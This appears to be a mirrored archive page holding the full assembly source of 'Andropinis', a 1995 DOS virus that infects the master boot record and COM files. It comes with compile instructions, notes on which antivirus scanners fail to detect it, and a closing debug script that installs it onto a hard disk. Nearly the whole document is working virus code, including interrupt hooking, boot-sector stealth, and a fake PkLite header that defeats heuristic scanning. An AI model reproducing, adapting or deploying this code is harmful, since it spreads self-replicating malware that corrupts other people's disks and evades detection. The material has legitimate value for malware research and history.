mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 12:25:29 +00:00
409 lines
19 KiB
NASM
409 lines
19 KiB
NASM
|
;******************************************************************************
|
||
|
;
|
||
|
; Virus name : Andropinis
|
||
|
; Author : Rajaat
|
||
|
; Origin : United Kingdom, March 1995
|
||
|
; Compiling : Using TASM | Using A86
|
||
|
; |
|
||
|
; TASM /M2 ANDROPIN.ASM | A86 ANDROPIN.ASM
|
||
|
; TLINK ANDROPIN |
|
||
|
; EXE2BIN ANDROPIN |
|
||
|
; Installing : Place the produced BIN file at cylinder 0, head 0, sector 2
|
||
|
; Modify the partition record to point to this code
|
||
|
; (a debug script is provided at the end of this source)
|
||
|
; Targets : Master Boot Record & COM files
|
||
|
; Size : 512 bytes
|
||
|
; Polymorphic : No
|
||
|
; Encrypted : No
|
||
|
; Stealth : Full Stealth on Master Boot Record
|
||
|
; Tunneling : No - is not needed if started from Master boot record
|
||
|
; Retrovirus : No
|
||
|
; Antiheuristics: Yes - for TBAV
|
||
|
; Peculiarities : Infects MBR by modifying 2 bytes
|
||
|
; Uses SFT's to infect COM files
|
||
|
; Avoids Thunderbyte Antivirus using a 2 byte signature!
|
||
|
; Behaviour : When an infected COM file is run, the virus will not become
|
||
|
; resident, but will first infect the master boot record. It
|
||
|
; does its work in a very peculiar way. It modifies the
|
||
|
; 1st partition record with the result that it points to
|
||
|
; cylinder 0, head 0, sector 2. The viral bootsector will be
|
||
|
; stored there. The next time when a system is booted,
|
||
|
; Andropinis will become resident in high memory, but below
|
||
|
; the top of memory. Programs like CHKDSK.EXE will show a
|
||
|
; decrease in system memory of 1024 bytes. The virus will hook
|
||
|
; interrupt 13 at this time and wait till interrupt 21 is
|
||
|
; captured 3 times. Andropinis will then take interrupt 21
|
||
|
; itself. The virus is now stealth on the master boot record,
|
||
|
; only modifying the pointer to the bootsector in memory when
|
||
|
; the master boot record is read. The virus will infect COM
|
||
|
; files when copied, therefore not needing a critical interrupt
|
||
|
; handler. Andropinis will only infect COM files when they are
|
||
|
; between 4095 and 61441 bytes. Infected files will begin with
|
||
|
; a PUSH AX, DEC BX, NOP and a near jump to the virus code.
|
||
|
; The first 2 instructions will cause the Thunderbyte scanner
|
||
|
; to avoid the file. It thinks it's processed with PkLite! f
|
||
|
; Even the "ex"tract option doesn't work and gives back a "N/A"
|
||
|
; for every infected file. F-PROT detects nothing, except when
|
||
|
; the /ANALYSE option is used. AVP gives a virus "Type Boot"
|
||
|
; suspicion. How true that is. The weak point of the virus is
|
||
|
; its lack of protection in infected COM files, so it relies on
|
||
|
; the fact that the Master Boot Record infection isn't visible.
|
||
|
; Tai-Pan spread also far, and was even more simplistic than
|
||
|
; Andropinis, with the exception that is infected the more
|
||
|
; common filetype, the EXE file. The virus doesn't do any
|
||
|
; intended harm, as Patty would say :
|
||
|
; "It's unknown what this virus does besides replicate."
|
||
|
; Yoho's : VLAD, Immortal Riot, Phalcon/Skism, [NuKE],
|
||
|
; and all other virus writers that exist.
|
||
|
;
|
||
|
;******************************************************************************
|
||
|
|
||
|
.model tiny ; this must become a BIN file
|
||
|
|
||
|
.code ; let's start with the code, ok
|
||
|
|
||
|
.radix 16 ; safe hex
|
||
|
|
||
|
org 0 ; throw it in the bin
|
||
|
|
||
|
;******************************************************************************
|
||
|
; Viral boot sector
|
||
|
;******************************************************************************
|
||
|
|
||
|
virus: xor bx,bx ; initialise stack and data
|
||
|
cli ; segment
|
||
|
mov ss,bx ;
|
||
|
mov ds,bx ;
|
||
|
mov sp,7c00 ;
|
||
|
push sp ;
|
||
|
sti ;
|
||
|
|
||
|
mov si,413 ; steal some memory from the
|
||
|
dec word ptr [si] ; top
|
||
|
lodsw ;
|
||
|
|
||
|
mov cl,6 ; calculate free segment for
|
||
|
shl ax,cl ; virus
|
||
|
mov es,ax ;
|
||
|
|
||
|
pop si
|
||
|
mov di,bx ; push data for a far jump to
|
||
|
push di ; the virus code in high memory
|
||
|
push es ;
|
||
|
lea ax,init_resident ;
|
||
|
push ax ;
|
||
|
|
||
|
mov cx,100 ; move the code to high memory
|
||
|
move_boot: movsw ; this doesn't trigger tbav
|
||
|
loop move_boot ;
|
||
|
|
||
|
retf ; return to the address pushed
|
||
|
|
||
|
;******************************************************************************
|
||
|
; the following piece of code is executed in high memory
|
||
|
;******************************************************************************
|
||
|
|
||
|
init_resident: mov byte ptr cs:hook_21_flag,0 ; reset int 21 hook flag
|
||
|
|
||
|
lea di,old_13 ; store old int 13 vector and
|
||
|
mov si,4*13 ; replace it with our new
|
||
|
lea ax,new_13 ; handler
|
||
|
xchg ax,[si] ;
|
||
|
stosw ;
|
||
|
mov ax,cs ;
|
||
|
xchg ax,[si+2] ;
|
||
|
stosw ;
|
||
|
|
||
|
mov si,4*21 ; store new address to int 21
|
||
|
lea ax,new_21 ; vector
|
||
|
xchg ax,[si] ;
|
||
|
mov ax,cs ;
|
||
|
xchg ax,[si+2] ;
|
||
|
|
||
|
pop es ; read the original bootsector
|
||
|
push es ; and execute it
|
||
|
mov ax,0201 ;
|
||
|
mov dx,180 ;
|
||
|
mov cx,1 ;
|
||
|
mov bx,7c00 ;
|
||
|
push bx ;
|
||
|
int 13h ;
|
||
|
retf ;
|
||
|
|
||
|
;******************************************************************************
|
||
|
; new int 13 handler
|
||
|
;******************************************************************************
|
||
|
|
||
|
new_13: cmp ax,5001 ; installation check
|
||
|
jne no_inst_check ;
|
||
|
xchg ah,al ;
|
||
|
iret
|
||
|
|
||
|
no_inst_check: cmp ah,2 ; check if partition sector
|
||
|
jne no_stealth ; is read. if not, there's
|
||
|
cmp dx,80 ; no need to use stealth
|
||
|
jne no_stealth ;
|
||
|
cmp cx,1 ;
|
||
|
jne no_stealth ;
|
||
|
|
||
|
pushf ; perform read action, and
|
||
|
call dword ptr cs:[old_13] ; go to stealth_mbr if no error
|
||
|
jnc stealth_mbr ; occured
|
||
|
retf 2 ;
|
||
|
|
||
|
stealth_mbr: cmp word ptr es:1bf[bx],200 ; is the virus active?
|
||
|
jne not_infected ; no, goto not_infected
|
||
|
mov word ptr es:1bf[bx],0101 ; stealth virus
|
||
|
not_infected: iret ;
|
||
|
|
||
|
no_stealth: cmp byte ptr cs:[hook_21_flag],3; if this is try 3 to get int
|
||
|
je eoi_13 ; 21, get lost to eoi_13
|
||
|
|
||
|
push ax ; preserve these
|
||
|
push ds ;
|
||
|
|
||
|
xor ax,ax ; is int 21 changed?
|
||
|
mov ds,ax ;
|
||
|
mov ax,cs ;
|
||
|
cmp ax,word ptr ds:[4*21+2] ;
|
||
|
je int_21_ok ; no, int 21 is ok
|
||
|
|
||
|
inc byte ptr cs:[hook_21_flag] ; increase the hook int 21 flag
|
||
|
|
||
|
lea ax,new_21 ; capture int 21 and store
|
||
|
xchg ax,ds:[4*21] ; the old vector
|
||
|
mov word ptr cs:old_21,ax ;
|
||
|
mov ax,cs ;
|
||
|
xchg ax,ds:[4*21+2] ;
|
||
|
mov word ptr cs:old_21[2],ax ;
|
||
|
|
||
|
int_21_ok: pop ds ; get these back
|
||
|
pop ax ;
|
||
|
|
||
|
eoi_13: jmp dword ptr cs:[old_13] ; chain to old int 13
|
||
|
|
||
|
;******************************************************************************
|
||
|
; new int 21 handler
|
||
|
;******************************************************************************
|
||
|
|
||
|
new_21: cmp ah,40 ; is a write command performed?
|
||
|
je write_to_file ; yeah, write_to_file
|
||
|
|
||
|
eoi_21: jmp dword ptr cs:[old_21] ; chain to old int 21
|
||
|
|
||
|
write_to_file: push ax ; preserve some registers
|
||
|
push bx ;
|
||
|
push dx ;
|
||
|
push di ;
|
||
|
push es ;
|
||
|
|
||
|
mov ax,4400 ; check if the write belongs
|
||
|
int 21 ; to a device
|
||
|
test dl,80 ;
|
||
|
jnz not_suitable ;
|
||
|
|
||
|
mov ax,1220 ; find file handle table that
|
||
|
int 2f ; belongs to the handle in bx
|
||
|
mov bl,byte ptr es:[di] ;
|
||
|
mov ax,1216 ;
|
||
|
int 2f ;
|
||
|
|
||
|
mov bx,2020 ; check if the file has a com
|
||
|
mov ax,word ptr es:[di+28] ; extension
|
||
|
or ax,bx ;
|
||
|
cmp ax,'oc' ;
|
||
|
jne not_suitable ;
|
||
|
mov al,byte ptr es:[di+2a] ;
|
||
|
or al,bl ;
|
||
|
cmp al,'m' ;
|
||
|
jne not_suitable ;
|
||
|
|
||
|
cmp word ptr es:[di+11],0 ; check if file length is
|
||
|
jne not_suitable ; zero
|
||
|
|
||
|
cmp cx,1000 ; check if piece of code is
|
||
|
jb not_suitable ; not too short or too long
|
||
|
cmp cx,0f000 ;
|
||
|
ja not_suitable ;
|
||
|
|
||
|
pop es ; these registers are done
|
||
|
pop di ;
|
||
|
pop dx ;
|
||
|
|
||
|
mov bx,dx ; check if the file is a
|
||
|
cmp word ptr ds:[bx],'ZM' ; renamed exe file
|
||
|
je is_renamed_exe ;
|
||
|
|
||
|
cmp word ptr ds:[bx+2],0e990 ; check if already infected
|
||
|
jne infect_com ;
|
||
|
jmp is_renamed_exe
|
||
|
|
||
|
not_suitable: pop es ; done with this interrupt
|
||
|
pop di ; service routine, so chain
|
||
|
pop dx ; to the old 21 routine
|
||
|
is_renamed_exe: pop bx ;
|
||
|
pop ax ;
|
||
|
jmp eoi_21 ;
|
||
|
|
||
|
;******************************************************************************
|
||
|
; piece of code that infects a COM file
|
||
|
;******************************************************************************
|
||
|
|
||
|
infect_com: pop bx ; this register was done
|
||
|
|
||
|
push cx ; get the first 6 bytes of the
|
||
|
push si ; host and overwrite them with
|
||
|
add cx,offset com_entry-6 ; the new bytes. it places a
|
||
|
mov si,dx ; nifty piece of code to
|
||
|
mov ax,'KP' ; render tbscans heuristics
|
||
|
xchg word ptr [si],ax ; useless. the PUSH AX, DEC BX
|
||
|
mov word ptr cs:org_com,ax ; (PK) in the begin of the
|
||
|
lodsw ; program makes tbscan think
|
||
|
mov ax,0e990 ; it is a PkLite compressed
|
||
|
xchg word ptr ds:[si],ax ; file and will skip it!
|
||
|
mov word ptr cs:org_com+2,ax ;
|
||
|
lodsw ;
|
||
|
xchg word ptr ds:[si],cx ;
|
||
|
mov word ptr cs:org_com+4,cx ;
|
||
|
pop si ;
|
||
|
pop cx ;
|
||
|
|
||
|
pop ax ; perform original write
|
||
|
pushf ; command
|
||
|
call dword ptr cs:[old_21] ;
|
||
|
|
||
|
push ax ; and append the virus at the
|
||
|
push cx ; end of the file
|
||
|
push dx ;
|
||
|
push ds ;
|
||
|
push cs ;
|
||
|
pop ds ;
|
||
|
mov ah,40 ;
|
||
|
mov cx,virus_length_b ;
|
||
|
lea dx,virus ;
|
||
|
pushf ;
|
||
|
call dword ptr cs:[old_21] ;
|
||
|
pop ds ;
|
||
|
pop dx ;
|
||
|
pop cx ;
|
||
|
pop ax ;
|
||
|
retf 2 ;
|
||
|
|
||
|
;******************************************************************************
|
||
|
; this gets executed by an infected COM file
|
||
|
;******************************************************************************
|
||
|
|
||
|
com_entry: call get_offset ; old hat for getting the
|
||
|
get_offset: pop bp ; delta offset
|
||
|
sub bp,offset get_offset ;
|
||
|
|
||
|
mov ax,5001 ; if the virus is resident it
|
||
|
int 13 ; doesn't need to infect the
|
||
|
cmp ax,0150 ; master boot record
|
||
|
je is_active ;
|
||
|
|
||
|
mov ax,0201 ; read master boot record.
|
||
|
lea bx,heap[bp] ; if an error occured, goto
|
||
|
mov cx,1 ; is_active
|
||
|
mov dx,80 ;
|
||
|
int 13 ;
|
||
|
jc is_active ;
|
||
|
|
||
|
cmp word ptr [bx+1be+1],0101 ; test if the partition begins
|
||
|
jne is_active ; at the normal sector
|
||
|
|
||
|
test byte ptr [bx+1be],80 ; test of the partition is
|
||
|
jz is_active ; bootable
|
||
|
|
||
|
mov al,byte ptr [bx+1be+4] ; test if the partition type
|
||
|
cmp al,4 ; is ok
|
||
|
jb is_active ;
|
||
|
cmp al,6 ;
|
||
|
ja is_active ;
|
||
|
|
||
|
mov word ptr [bx+1be+1],200 ; change pointer to virus code
|
||
|
|
||
|
mov ax,0301 ; write back the master boot
|
||
|
push ax ; record. quit if error
|
||
|
int 13 ; occured
|
||
|
pop ax ;
|
||
|
jc is_active ;
|
||
|
|
||
|
inc cx ; write virus to sector 2
|
||
|
lea bx,virus[bp] ; (right behind the mbr)
|
||
|
int 13 ;
|
||
|
|
||
|
is_active: lea si,org_com[bp] ; restore beginning of the
|
||
|
mov di,100 ; host and execute it
|
||
|
pop ax ;
|
||
|
push cs ;
|
||
|
push di ;
|
||
|
movsw ;
|
||
|
movsw ;
|
||
|
movsw ;
|
||
|
retf ;
|
||
|
|
||
|
;******************************************************************************
|
||
|
; some data used by the virus
|
||
|
;******************************************************************************
|
||
|
|
||
|
db '[Andropinis]' ; my childs name
|
||
|
db ' by Rajaat',0 ; my name
|
||
|
|
||
|
org 1fe ; for the bootsector
|
||
|
|
||
|
db 55,0aa ; boot signature
|
||
|
|
||
|
;******************************************************************************
|
||
|
; the things below aren't copied into the viral boot sector, only in COM files
|
||
|
;******************************************************************************
|
||
|
|
||
|
org_com equ $ ; original program data
|
||
|
|
||
|
heap equ $+6 ; memory for data
|
||
|
|
||
|
virus_length_b equ heap-virus ; who says size doesn't count?
|
||
|
virus_length_s equ (virus_length_b+1ff) / 200 ;
|
||
|
virus_length_k equ (virus_length_b+3ff) / 400 ;
|
||
|
|
||
|
old_13 equ heap+6 ; old int 13 vector
|
||
|
old_21 equ heap+0a ; old int 21 vector
|
||
|
hook_21_flag equ heap+0e ; int 21 hook flag
|
||
|
|
||
|
end virus ; the end complete
|
||
|
end ;
|
||
|
;******************************************************************************
|
||
|
|
||
|
; remove the piece below if you use A86 instead of TASM, because it will
|
||
|
; choke on it
|
||
|
|
||
|
--- debug script for installing the Andropinis virus ---
|
||
|
|
||
|
install with
|
||
|
DEBUG ANDROPIN.BIN < scriptname
|
||
|
where scriptname is the name that you give to the mess below
|
||
|
|
||
|
--- cut here ---
|
||
|
m 100 l200 1000
|
||
|
a
|
||
|
mov ax,0201
|
||
|
mov bx,800
|
||
|
mov cx,1
|
||
|
mov dx,80
|
||
|
int 13
|
||
|
mov si,9bf
|
||
|
mov word ptr [si],200
|
||
|
mov ax,0301
|
||
|
mov dx,80
|
||
|
int 13
|
||
|
mov ax,0301
|
||
|
mov bx,1000
|
||
|
inc cx
|
||
|
int 13
|
||
|
int 20
|
||
|
|
||
|
g
|
||
|
q
|
||
|
--- cut here ---
|
||
|
|